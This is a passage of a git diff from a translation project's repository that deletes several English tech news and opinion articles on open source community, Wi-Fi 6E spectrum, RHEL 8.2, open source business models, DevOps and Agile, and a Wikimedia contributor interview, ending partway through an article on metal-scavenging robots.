operations. Existing hierarchical power structures are weakening as more voices are heard, and the best ideas are given the chance to rise to the top through greater exposure. - -As social distancing makes backchannel and handshake agreements much more complicated to execute, I predict that the traditional dance required to access and take positions in leadership will be replaced by flatter, more open methods that ultimately produce fresher—and better—perspectives. Online communication has a way of laying bare the real substance of interactions and ideas, bolstering meritocracy that's central to the strength of open source. - -### The virtual world is fast. - -This "flattening" structural shift has the potential to increase the pace and quality of innovation, as virtual events and communications widen the spotlight to now shine a light on previously unseen contributors. Creative minds among engineers, developers, and others outside of traditional leadership positions will leverage their comfort with the web and virtual channels to find each other and collaborate faster. This is nothing new for those in open source, and I expect organizations still clinging to legacy approaches will find themselves investing in learning how to implement flatter, virtual communications structures, and beginning to build them into traditional operational models. This means doubling down on efficiency and being willing to let go of the ["it's always been done this way"][3] mentality. - -### The virtual world needs community. - -Developers can conserve energy attending virtual events: there's no commute, nor other distractions from the work at hand. Working remotely and connecting only via virtual mediums enables open source contributors to create, share, and use code just about as fast as their brains allow, empowering rapid code contributions, collaborations, and new solutions produced with velocity. - -While this shift may result in productivity gains, organizations must be careful of creating the impression that a team member's most important asset is their brain. When open source developers were asked what the best part of their job was, [62% claimed it was their "personal passion."][4] Recognizing individuals as unique contributors to open source communities is necessary and essential to development—both technical and human. During this period, when we're hitting the pause button on in-person interaction, remote interactions via chats, video conferences, and phone calls will enable the human moments necessary for growth and connection. Those in open source rely on the power of community, and this extraordinary time will require the continuous and earnest commitment to it. - -### The virtual world is composed of individuals. - -The potential for greater innovation and meritocracy through virtual-only channels will only be realized if communities, organizations, and individuals also pursue and achieve wellness. It's crucial for the interpersonal bonds that maintain our energy and psychological health—traditionally forged through real-life, face-to-face contact—to continue to exist as part of the way we now work. If that disappears, there's the risk that our industry and communities become purely transactional, lacking the joy and drive that carries work forward, much less great work and innovation. Developers are especially rooted in a sense of purpose, with [only 3% reporting that money and perks were the best part of their job.][4] - -Overall wellness and support to prevent burnout should already have been central considerations for modern organizations, but they are even more important now. Virtual connectivity may set us up to work fast, but that can backfire if we're not also set up to be well. - -### The virtual world needs kindness. - -I also predict that virtual-only communication will close the distance between our online avatars and ourselves as real people. The impact of "toxic" individuals, hidden behind a computer, with little to no consequence for being a "bad actor," will be reduced and less acceptable. A growing presence of new voices will set the tone, adhering to well thought out codes of conduct, making poor behavior explicitly unwelcome. As much of our connection moves online, the norms that guide our offline behavior will become increasingly important. We'll transition to a less individualistic paradigm, and open source's long history of considering what defines good citizenship will offer insight to those looking to integrate a sense of shared responsibility into organizations. - -I feel extremely grateful to be in technology, particularly in the open source world, given it's an industry built upon the promise of innovation. At least for the moment, we as an industry can serve as a lighthouse for connection in difficult times, and as a model for collaboration and intention for those not as familiar with how to be highly productive in a virtual world. For the open source community and beyond, there is a great opportunity to lean into creating as much beneficial virtual culture as we can. Through this experience, we'll all learn new ways of interacting, which will serve us well in the future. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/4/virtual-community-management - -作者:[Patricia Dugan][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/patricia-dugan -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/OSDC_women_computing_5.png?itok=YHpNs_ss (Women in computing and open source v5) -[2]: https://info.containo.us/traefik-ambassador-program -[3]: https://goleansixsigma.com/the-most-dangerous-phrase/ -[4]: https://www.linuxfoundation.org/wp-content/uploads/2019/10/osjobsreport_2018.pdf diff --git a/sources/talk/20200424 FCC boosts Wi-Fi 6 spectrum five-fold.md b/sources/talk/20200424 FCC boosts Wi-Fi 6 spectrum five-fold.md deleted file mode 100644 index 4d3545f522..0000000000 --- a/sources/talk/20200424 FCC boosts Wi-Fi 6 spectrum five-fold.md +++ /dev/null @@ -1,72 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (FCC boosts Wi-Fi 6 spectrum five-fold) -[#]: via: (https://www.networkworld.com/article/3540288/fcc-boosts-wi-fi-6-spectrum-five-fold.html) -[#]: author: (Jon Gold https://www.networkworld.com/author/Jon-Gold/) - -FCC boosts Wi-Fi 6 spectrum five-fold -====== -The Federal Communications Commission has approved a chunk of wireless spectrum called the 6GHz band for unlicensed use by Wi-Fi 6, and gear that supports it could be available by the end of the year. -[tejasp][1] [(CC0)][2] - -The Federal Communications commission has opened up a wide swath of wireless spectrum for unlicensed use by Wi-Fi devices, which will lead to Wi-Fi access points that have greatly expanded capacity. - -It’s a huge victory for the Wi-Fi industry, as the ruling means that the amount of spectrum available for Wi-Fi just about quintupled in an instant. That means big, spacious channels – and a lot more channels overall – that can handle a lot more data and a lot more connections at the same time, according to Aruba vice president of wireless strategy and standards Chuck Lukaszewski. - -[[Get regularly scheduled insights by signing up for Network World newsletters.]][3] - -“Overnight, you’re going to see an additional gigabit per second or more of potential throughput,” he said. - -That’s a major upside, certainly, even if “overnight” might be a slightly optimistic view of when [Wi-Fi 6E][4] – the trade name for the new version of Wi-Fi that will take advantage of the new spectrum – hits the market. While some of the necessary standards haven’t yet been finalized by the IEEE, the basic ability to use 6GHz frequencies is already written into the existing Wi-Fi 6 specification. - -Broadcom director of product marketing and government affairs Chris Szymanski said that the main technical hurdle to implementing Wi-Fi 6E will be new radios, but that his company is among those that has already been designing and building compatible silicon. - -“I expect that the FCC will provide guidance on how to certify devices in the next few months,” he said. “I expect product available in the US in the late fall before the holidays.” - -Enterprise uptake will likely have to wait until compatible smartphones, laptops and the like are on shelves because existing Wi-Fi 6 cliets won’t be able to take advantage of the new 6Ghz spectrum. - -**[ [Take this mobile device management course from PluralSight and learn how to secure devices in your company without degrading the user experience.][5] ]** - -New access points are likely to have three radios in them, as opposed to the usual two, noted senior vice president of Ruckus Wireless and cloud at Commscope Bart Giordano. One each for the existing 2.4GHz and 5GHz bands, and a third for 6Ghz. - -“Antennas will be very similar because these spectrums sit next to one another,” he said, “but there’s specific tunings you have to do.” - -The driving force behind the spectrum expansion is the bottomless demand for capacity caused by the increasing use of wireless just about everywhere. The FCC’s announcement cites projections from Cisco that say about 60% of worldwide data traffic will move across Wi-Fi links within the next two years. - -Incumbent licensed users of parts of the 6GHz spectrum – which are mostly businesses using microwave links for wireless backhaul and public safety services – are far less pleased by the FCC’s decision. The Utilities Technology Council is one of several groups critical of earlier proposals to open the 6GHz band to broad-based unlicensed use, saying earlier that assurances that existing users would be protected from interference are unconvincing. - -“We have and will continue to provide the FCC with technical detail demonstrating the very real interference potential from unlicensed use across all parts of the band and the need for thoroughly tested automated frequency coordination (AFC) to protect incumbent users,” the group said in a statement. “While we appreciate the FCC proposing to require AFC for the standard-power access points, these measures must also be applied to all unlicensed devices in the band to prevent interference to mission-critical utility communications systems.” - -Farpoint Group principal and Network World contributor Craig Mathias said that it’s not going to be a smooth process, but argues that the opening of 6GHz spectrum was too great an opportunity to ignore. - -“Yes, it’s a mess – spectral re-allocations always are,” he said. “[But] I don't see any issues here that can't be addressed, and more unlicensed spectrum is of course always desirable.” - -Incumbent users of the 6GHz spectrum are unlikely to see the type of interference they’re particularly worried about, he added, given the nature of the connections currently in use and the safeguards in the new rule that are designed to protect existing networks. - -“Point-to-point microwave links operate at fairly high power and use both directional antennas and error-checking protocols to ensure reliability and otherwise deal with typical radio issues beyond interference, like the various forms of fading,” said Mathias. “A nearby Wi-Fi transmitter will be operating at much lower power and use its own signal-integrity-management techniques as well. So likely no issues in the vast majority of cases, especially if history is any guide.” - -Join the Network World communities on [Facebook][6] and [LinkedIn][7] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3540288/fcc-boosts-wi-fi-6-spectrum-five-fold.html - -作者:[Jon Gold][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Jon-Gold/ -[b]: https://github.com/lujun9972 -[1]: https://pixabay.com/en/wifi-wireless-device-wi-fi-1371030/ -[2]: https://creativecommons.org/publicdomain/zero/1.0/ -[3]: https://www.networkworld.com/newsletters/signup.html -[4]: https://www.networkworld.com/article/3238664/80211-wi-fi-standards-and-speeds-explained.html -[5]: https://pluralsight.pxf.io/c/321564/424552/7490?u=https%3A%2F%2Fwww.pluralsight.com%2Fcourses%2Fmobile-device-management-big-picture -[6]: https://www.facebook.com/NetworkWorld/ -[7]: https://www.linkedin.com/company/network-world diff --git a/sources/talk/20200424 Red Hat Enterprise Linux 8.2 Hits the stage.md b/sources/talk/20200424 Red Hat Enterprise Linux 8.2 Hits the stage.md deleted file mode 100644 index e00e88716c..0000000000 --- a/sources/talk/20200424 Red Hat Enterprise Linux 8.2 Hits the stage.md +++ /dev/null @@ -1,89 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Red Hat Enterprise Linux 8.2 Hits the stage) -[#]: via: (https://www.networkworld.com/article/3540189/red-hat-enterprise-linux-82-hits-the-stage.html) -[#]: author: (Sandra Henry-Stocker https://www.networkworld.com/author/Sandra-Henry_Stocker/) - -Red Hat Enterprise Linux 8.2 Hits the stage -====== -RHEL 8.2 has new capabilities for management of hybrid-cloud environments and container tools to help fuel cloud-native development. -Stephen Lawson/IDG - -Red Hat Enterprise Linux (RHEL) 8.2 brings new features that include expanded monitoring capabilities in Red Hat Insights for and new container tools, including containerized versions of Skopeo and Buildah. - -Red Hat says RHEL 8.2 is arriving at a time when, because of the Covid-19 pandemic, a growing percentage of IT staffers are working remotely. Their ability to support the management and monitoring of operations and their ability to detect and address problems has never been more critical, and upgrades to Red Hat Insights are designed to help. - -[[Get regularly scheduled insights by signing up for Network World newsletters.]][1] - -### Red Hat Insights - -[Red Hat Insights][2], is Red Hat’s operations and security-risk-management offering and helps detect, diagnose and remediate potential problems before they affect production systems or end users. It was included in RHEL in May 2019. - -The latest updates include: - - * Improved visibility and  security for managing large, complex environments - * Policy and patch services to help determine which product advisories apply and guidance for problem remediation - * A "drift service" to make it easier to compare baselines, shape strategies that reduce complexity, and make troubleshooting easier - - - -### Monitoring and performance updates - -RHEL 8.2 brings some performance upgrades includeing: - - * Improved resource management with Control Groups (cgroup) v2, which is designed to reserve and set limits on memory usage to help prevent processes from overconsuming memory and causing system failures or slowdowns. - * Optimizing performance-sensitive workloads via NUMA and sub-NUMA service policies. - * Performance Co-Pilot (PCP) 5.0.2 which adds collection agents for Microsoft SQL Server 2019 to gather and analyze SQL Server metrics to draw a clearer picture of database and operating-system performance. - * Red Hat subscription watch,a service for viewing and managing RHEL and Red Hat OpenShift Container Platform subscriptions. - - - -### Evolving container tools - -RHEL 8.2 includes new container tools that are supported for 24 months as part of Red Hat's Tech Preview, which provides early access to new products. The tools include Buildah for building and Skopeo for transferring container images. - -The new relase also introduces Udica, a policy tool for containerized SELinux that can make it less likely that processes will break out of containers and cause problems to other containers or the host. - -[][3] - -Red Hat Enterprise Linux 8.2 also introduces enhancements to the Red Hat Universal Base Image, including: - - * OpenJDK and .NET 3.0 for developing  certification-ready cloud-native Red Hat applications - * **Improved access to source code associated with a given image through a single command**, making it easier for Red Hat partners to meet source code requirements for open source licensing needs. - - - -### Ease of use - -Other new features are meant to make it easier to manage RHEL: - - * RHEL subscription registration as part of the installation process, making it easier to on-board new installations. - * Enabling Red Hat Insights during installation to simplify the launch of Insights for Red Hat Enterprise Linux deployments. - * Refinement and control of the Red Hat Enterprise Linux life cycle with testing for in-place upgrades, Red Hat Insights rules to help with upgrades, and the [Convert2 RHEL][4] tool that can help shift workloads from unsupported clones like CentOS to RHEL. - - - -Join the Network World communities on [Facebook][5] and [LinkedIn][6] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3540189/red-hat-enterprise-linux-82-hits-the-stage.html - -作者:[Sandra Henry-Stocker][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Sandra-Henry_Stocker/ -[b]: https://github.com/lujun9972 -[1]: https://www.networkworld.com/newsletters/signup.html -[2]: https://www.redhat.com/en/blog/expanding-management-operational-and-security-risks-new-red-hat-insights -[3]: https://www.networkworld.com/blog/itaas-and-the-corporate-storage-technology/?utm_source=IDG&utm_medium=promotions&utm_campaign=HPE22140&utm_content=sidebar (ITAAS and Corporate Storage Strategy) -[4]: https://www.redhat.com/en/blog/convert2rhel-how-update-rhel-systems-place-subscribe-rhel -[5]: https://www.facebook.com/NetworkWorld/ -[6]: https://www.linkedin.com/company/network-world diff --git a/sources/talk/20200427 Comparing subscription, pay-per-bug, and consulting software business models.md b/sources/talk/20200427 Comparing subscription, pay-per-bug, and consulting software business models.md deleted file mode 100644 index c7d76c5590..0000000000 --- a/sources/talk/20200427 Comparing subscription, pay-per-bug, and consulting software business models.md +++ /dev/null @@ -1,81 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Comparing subscription, pay-per-bug, and consulting software business models) -[#]: via: (https://opensource.com/article/20/4/open-source-business) -[#]: author: (Jos Poortvliet https://opensource.com/users/jospoortvliet) - -Comparing subscription, pay-per-bug, and consulting software business models -====== -Learn how NextCloud achieves business revenue that is one-third -consulting and two-thirds subscription. -![A chair in a field.][1] - -At FOSS Backstage this year, I hosted a discussion on open source models and shared why I think subscriptions are a great way to support open source products. - -### Picking a business model - -The company I co-founded, Nextcloud, only offers its services to customers on a (per user) subscription model. Some customers ask us during the sales conversation why they cannot just get access to our engineers on an hourly basis as they get from third party consultants: pay for the bug fix or support case, and be done? - -When we discussed how to build our new company in 2016 during our very first "[hackweek][2]," our business model was an important conversation. The team discussed different approaches, and we decided to go for a subscription model. Such a model felt more in line with our mission and principles to [create a great product and run a trustworthy company.][3] - -Why? While hourly rates seem like an easy way to get a quick fix for a problem, getting paid for fixing issues creates an incentive to create more buggy software, which of course, was not how we want to run our business. - -Let's look a bit deeper at the choices. - -### Subscription - -As a customer, you want the most reliable software. And when (not if, when) things go wrong, you want them fixed as quickly as possible. Our company offers customers a subscription to our services. Such a subscription includes direct and unlimited access to our engineers the moment you run into a problem. These two points are very important. It means that a customer has the certainty of having the very best resources at their fingertips at the moment they need them, and as much as they need them, in a way that only the original software vendor can deliver. - -For that, they pay a fee that scales with the number of users. - -### Pay-per-bug - -What if, instead, you could pay per issue fixed? In a way, this choice is similar to insurance. Indeed, when you need cold medicine once a year, the cost of a health insurance policy with a monthly premium seems prohibitive. But when a car accident crushes your spine and your medical costs skyrocket, not having to sell your house makes up for that premium and then some. - -There is also the bigger picture: The incentives potentially created by a pay-per-bug model. It is a simple, albeit cynical calculation: If we got paid per bug we fix for customers, leaving more bugs in our product would increase our income. Now we're not saying every company offering product consulting by the hour is extorting their customers, merely that this backward incentive exists, even when most moral businesses would not give in to it. - -Conversely, now that we offer insurance, we lower our support costs by building a better product, just like art insurance providers do what they can to ensure the art kept at their customers' exhibition is secure to keep their costs low. Our support team deeply cares about how our customers use our product: a better setup and good security practices not only make happier customers; it saves them time. - -Or, in other words, it helps maximize the ROI or TEI the customer gains from deploying Nextcloud. - -That is what we'd call a win-win and a business model an open source company can be proud of. - -### Consulting - -Now I discuss this business model regularly with others, and I invariably get told: "You might be right, but most of my customers only want to pay for the bugs we fix, or for features. Consulting is our main source of income! And I have no illusions about changing that." - -Yes, that's an issue. We open source folk honestly have a sales and marketing issue. And yes, you might think that, as a marketing guy, I just see everything as a nail I can hit with my communications hammer. But really, communication is core to the issue—how you communicate your value—which, in turn, requires you to be aware of your value. - -Recently, I had some challenging discussions with users on our forums who were upset that our engineers had not fixed their issues quickly enough. These users were clearly business users, and giving free support on GitHub obviously isn't exactly a great advertisement for the need for a subscription. So some abuse was thrown our way, and I took the hit. When complaining about it all to a fellow entrepreneurial friend of mine, he remarked: "Isn't that good news? They were frustrated and angry because clearly, you have something to offer, they need it, and are annoyed that they are forced to pay you for it. A good place to be in if you want to sell something!" Right he was, of course. - -The lesson I want to share with this anecdote is: You have something to offer. Your current customers will certainly be upset if you tell them that, going forward, they can only get your services under a subscription. But the angrier they are, the more you know they _need_ you, and you should persist! - -But moving to subscription from consulting requires a great deal of discipline, including saying "no" often. We have hard, internal rules, and one of these is that sales can only sell consulting valued at up to 50% of the subscription value, and only for deals greater than $10,000. - -But it has worked. The breakdown of our business revenue is now about one-third consulting and two-thirds subscription. Engineering hours for consulting work are not the limiting factor for expanding our customer base; sales and sales engineering is. We doubled our order intake last year and plan to do the same this year. - -### Bottomline: Sustainability - -For us, a better product and more sustainable business follows from the subscription model. It also benefits software engineers, who prefer to build a better product and spend less time on debugging issues with customers. A pay-by-the-hour model, with all the time tracking and incentive to keep customers dependent, does not work for us. - -What has your experience been? Tell us in the comments. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/4/open-source-business - -作者:[Jos Poortvliet][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/jospoortvliet -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/BIZ_WorkInPublic_4618517_1110_CS_A.png?itok=RwVrWArk (A chair in a field.) -[2]: https://nextcloud.com/blog/invitation-to-our-hackweek-in-stuttgart/ -[3]: https://nextcloud.com/blog/the-nextcloud-mission-and-principles/ diff --git a/sources/talk/20200427 DevOps vs. Agile- Do they have anything in common.md b/sources/talk/20200427 DevOps vs. Agile- Do they have anything in common.md deleted file mode 100644 index a8fcf422c6..0000000000 --- a/sources/talk/20200427 DevOps vs. Agile- Do they have anything in common.md +++ /dev/null @@ -1,85 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (DevOps vs. Agile: Do they have anything in common?) -[#]: via: (https://opensource.com/article/20/4/devops-vs-agile-common) -[#]: author: (Taz Brown https://opensource.com/users/heronthecli) - -DevOps vs. Agile: Do they have anything in common? -====== -Agile and DevOps have many differences, yet they both seek to address -complexity, improve quality, and innovate around software design. -![Women in tech boardroom][1] - -The topic of DevOps vs. Agile is almost like debating iPhone vs. Android—everyone has an opinion, and emotions can become heated, especially if people disagree. - -After writing _[DevOps v. Agile: What's the difference?][2]_ and reading the comments on the article, I wanted to add some more thoughts—including how some of my thinking has changed on the topic. - -My perspective comes from where I am now but also where I have been. I used to be a systems administrator and infrastructure engineer, and now I am a senior scrum master with a major utility company in Missouri. (I actually was a scrum master before I was an admin or engineer, but I digress.) - -My team consists of six frontend software engineers and IT programmer analysts, a business analyst, two product owners, and me. Recently, we learned that management wants our team to become a [DevSecOps][3] team, so our core scrum team is working with a DevSecOps team that is helping us make the transition. No one is naive to the fact that this will not be easy, but the DevSecOps team's experience gives us confidence that we can succeed. - -Our team's manager recently hired a senior software engineer who will drive the DevSecOps goal. As a scrum master, I will continue to focus on continuous improvement. The team is fairly young, so they don't have expansive work experience, but they are smart and driven, and there is much room for greatness. In addition, our entire organization is going through an Agile transformation, so most people are new to all things Agile, including the [Agile Manifesto][4] and the [Five Scrum Values][5]. - -![Spray paint on a container][6] - -Kyle Glenn on Unsplash - -### Agile, Scrum, DevOps, and more - -There is a clear relationship between DevOps and Agile. Agile is the methodology, Scrum is the framework, and DevOps falls under the agile [umbrella][7] along with kanban, lean, large-scale Scrum, Extreme Programming, Crystal, and more. For example, our Scrum team is an Agile team that will operate as a DevSecOps team. - -Neither DevOps nor Agile is about the tools. Rather, both are about the [mindset and culture][8]. When it is done right, teams think and act differently and achieve greater results, including faster software delivery, continuous integration (CI), continuous delivery (CD), continuous improvement, working software, faster solutions, more collaboration, and fewer silos. Additional results are seen in quality testing, better automation, and improved systems, processes, and practices. - -#### Common concepts - -Some of the Agile concepts they have in common are associated with the Agile Manifesto; the most familiar of the 12 principles are the first four: - - * Individual and interactions over processes and tools - * Working software over comprehensive documentation - * Customer collaboration over contract negotiations - * Responding to change over following a plan - - - -Some of the DevOps concepts they have in common are the CI/CD pipeline, optimizing software delivery and quality, a culture of innovation, service-level objectives and indicators (SLOs and SLIs), collaboration across teams, and automation. - -#### DevOps and Agile benefits - -DevOps speeds up things between developers and operations. Furthermore, even though DevOps isn't about the tools, the fact that the dev and ops teams use the same tech stack creates a shared language and empathy between the two. Our Scrum team uses Jira to track all bugs, enhancements, and team performance. Common DevOps tools are Jenkins, AWS, SonarQube, GitHub, Splunk, and Ansible. While the tools differ from team to team, the mindset and culture should be common across all. - -DevOps also creates less division between dev and ops and a sense of understanding of what it's like to walk in each other's shoes because now they function as one. - -Agile teams continuously deliver often and fast, adapting incrementally along the way. Working in two-week sprints appears to be the sweet spot for most software- or product-delivery teams. Agile teams may utilize DevOps principles in their work (e.g., implementing a CI/CD pipeline), and dev teams that work with ops are likely to work in the same two-week increments. - -DevOps traditionally leads to continuous deployment, delivery, and integration. Teamwork is integrated; problems and failures are jointly owned by development, operations, and other entities, such as quality assurance (QA), testing, automation, etc. - -### Summing up - -I believe that Agile and DevOps breathe the same air, with many concepts and theories crossing between them. - -While I have no doubts that there will be counter opinions and even some sharply worded disagreements with my opinions, I think we would all agree that Agile and DevOps seek to address complexity, improve quality, and innovate around software design. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/4/devops-vs-agile-common - -作者:[Taz Brown][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/heronthecli -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/christina-wocintechchat-com-rg1y72ekw6o-unsplash_1.jpg?itok=MoIv8HlK (Women in tech boardroom) -[2]: https://opensource.com/article/20/2/devops-vs-agile -[3]: https://opensource.com/article/19/1/what-devsecops -[4]: https://agilemanifesto.org/ -[5]: https://www.scrumalliance.org/about-scrum/values -[6]: https://opensource.com/sites/default/files/uploads/roomtogrow_kyleglenn.jpg (Spray paint on a container) -[7]: https://opensource.com/article/20/4/kanban-devops -[8]: https://opensource.com/article/19/5/values-devops-mindset diff --git a/sources/talk/20200428 How I empower and reach millions through open source.md b/sources/talk/20200428 How I empower and reach millions through open source.md deleted file mode 100644 index a3c23dd073..0000000000 --- a/sources/talk/20200428 How I empower and reach millions through open source.md +++ /dev/null @@ -1,78 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How I empower and reach millions through open source) -[#]: via: (https://opensource.com/article/20/4/interview-Netha-Hussain) -[#]: author: (Jay Barber https://opensource.com/users/jaybarber) - -How I empower and reach millions through open source -====== -Learn how Netha Hussain, winner of the 2020 Women in Open Source -Academic Award, shares knowledge and inspires people. -![Lightbulb][1] - -"I wanted to link to a particular Wikipedia article on my blog, but I found there wasn't one on that topic, so I wrote it myself," says Netha Hussain, 2020 [Women in Open Source Academic Award][2] winner. "That's the beauty of open source; anyone can contribute." - -![Photo by Lvova Anastasiya \(Львова Анастасия, Lvova\), CC BY-SA][3] - -Practicality drove Netha's entry into open source culture, and it has continued to be at the center of her work in the ten years since. - -She received her first computer in high school, but it did not immediately spark her passion. She says she mostly used it for games and other diversions, as many teenagers do. It wasn't until she entered medical school and realized that technology could be a powerful tool to help her achieve her goals that Netha truly found her path. Taking stock of her many contributions to [Wikimedia][4], [Mozilla][5], and [TED][6], it's fair to say that once she engaged with open source culture, she never looked back. - -### Finding ways to help - -Growing up in India, Netha was initially drawn to mathematics but soon found herself pulled in other directions. "At the time, I would have expected to continue down that path, mathematics or maybe writing, but the thing that I've always most wanted to do is help people," Netha says. "Medicine seemed to be the most direct path to providing real, tangible assistance to those around me, so I became a doctor." - -That drive to help continues to guide her now as she prepares to defend her doctoral thesis in clinical neuroscience at the University of Gothenburg in Sweden. - -"At a certain point, I decided that rather than limiting myself to what I could do through treating patients, I could also contribute in a research capacity, working to discover new, better ways to help others. I came to all of this via an unexpected route, but I love the idea of exploring and finding my own ways to help. I'm so satisfied and fulfilled by the work I'm doing now. It has been a wonderful journey." - -As she nears the completion of her degree, Netha reflects upon what she's looking forward to next. An infectious smile appears as she remarks, "I'm really excited to have more time to contribute to projects in the open source community." - -Why is she so enamored with open source? It comes back to utility. "In open source practices, I found a philosophy that closely matched my own ideals and a way of doing things that allowed me to help more people. Open source is fueled by collaboration. I've seen the things that can be accomplished by people working together, and it makes me very excited to think where it will take us in the future." - -### Reaching millions, one edit at a time - -Her first article, written to help an international audience understand her blog post, was only the first of many. Netha has now written 300 articles (200 in English and 100 in Malayalam), contributed 13,000 edits for [Wikipedia][7], added 9,000 images to [Wikimedia Commons][8], and provided 120,000 edits to [Wikidata][9]. Her commitment to bringing useful information to others can also be seen in her five years spent volunteering to translate Mozilla projects and TED talks into the Malayalam language. - -Such prolific output was born out of a simple realization. "I had shared so much on my blog but was only reaching a select audience. On Wikipedia and elsewhere, I had access to a potential audience of millions. There's a lot of power in that." - -Many of the articles Netha has written center on issues relevant to women, and that is very much by design. "I find myself writing on topics that are important to women because I feel they are an underserved community, and it is important to me that Wikipedia, as such a vital repository of information, be reflective of all users, all voices. I care deeply about the visibility of women on Wikipedia." - -Netha's commitment to women's issues led her to organize edit-a-thon initiatives and other activities with women's groups. She was also able to leverage similar strategies to assist the LGBTQ+ community in India during the campaign to legalize gay marriage. - -"In India, there are a lot of taboos around homosexuality, and I saw an opportunity to utilize my experience to help another segment of the population. Together, we were able to generate a lot of awareness, whether through raising up biographical articles on famous members of the LGBTQ+ community or shining a spotlight on anti-LGBTQ+ laws. I'm very proud of the opportunities I've had to support such efforts." - -### A path to the future - -It's clear that Netha believes strongly in empowering people, especially other women who may wish to explore open source methodologies as she has. Her advice is simple, but powerful. "Believe in yourself, and know that you have the skills and talent to do whatever you'd like to do," she finds the words easily, as if she's been waiting to be asked the question. "Follow your passion, and do what you want. There will be times of uncertainty but always move forward. Keep studying. Keep learning new things. That's how you grow, both in your field and as a person." - -Having achieved so much already, it's no surprise that Netha is enthusiastic about new challenges on the horizon. "I've put in a lot of effort to get here, but as you learn new strategies and new ways of collaborating, the work gets easier. Now, I don't consider it work at all. It's mostly fun to me." - -_Also read Jay Barber's [interview with Megan Byrd-Sanicki][10], who won the 2020 Women in Open Source Community Award._ - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/4/interview-Netha-Hussain - -作者:[Jay Barber][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/jaybarber -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/lightbulb-idea-think-yearbook-lead.png?itok=5ZpCm0Jh (Lightbulb) -[2]: https://www.redhat.com/en/about/women-in-open-source -[3]: https://opensource.com/sites/default/files/uploads/netha_headshot.png (Photo by Lvova Anastasiya (Львова Анастасия, Lvova), CC BY-SA) -[4]: https://www.wikimedia.org/ -[5]: https://www.mozilla.org/en-US/ -[6]: https://www.ted.com/ -[7]: https://www.wikipedia.org/ -[8]: https://commons.wikimedia.org/wiki/Main_Page -[9]: https://www.wikidata.org/wiki/Wikidata:Main_Page -[10]: https://opensource.com/article/20/4/interview-Megan-Byrd-Sanicki diff --git a/sources/talk/20200430 Industrial robots could -eat metal- to power themselves.md b/sources/talk/20200430 Industrial robots could -eat metal- to power themselves.md deleted file mode 100644 index 45995a9660..0000000000 --- a/sources/talk/20200430 Industrial robots could -eat metal- to power themselves.md +++ /dev/null @@ -1,67 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Industrial robots could 'eat metal' to power themselves) -[#]: via: (https://www.networkworld.com/article/3540194/industrial-robots-could-eat-metal-to-power-themselves.html) -[#]: author: (Patrick Nelson https://www.networkworld.com/author/Patrick-Nelson/) - -Industrial robots could 'eat metal' to power themselves -====== -Scavenging energy by foraging for metal could power Internet of Things electronics and robots, suggest researchers at University of Pennsylvania. -Jiraroj Praditcharoenkul / Getty Images - -A fundamental manufacturing shift is on the horizon, some say. It's where robots run all elements of our future factories. The machines will operate using brain-copying artificial intelligence and handle not only manufacturing processes, but also supply-chain logistics, planning, and other roles formerly performed by humans. - -This vision of the future anticipates an industrial workplace where Internet-connected machines will mimic humans, yet do the jobs more precisely, faster and cheaper than humans. - -And the human-copying element may not end there. Researchers at the University of Pennsylvania are suggesting that robots could end up eating like humans, too. - -Robots will "eat metal for energy," according to a [news article][1] published in Medium. The researchers' vision for a "metal-air scavenger" could solve one of the quandaries of future IoT-enabled factories. That quandary is how to power a device that moves without adding mass and 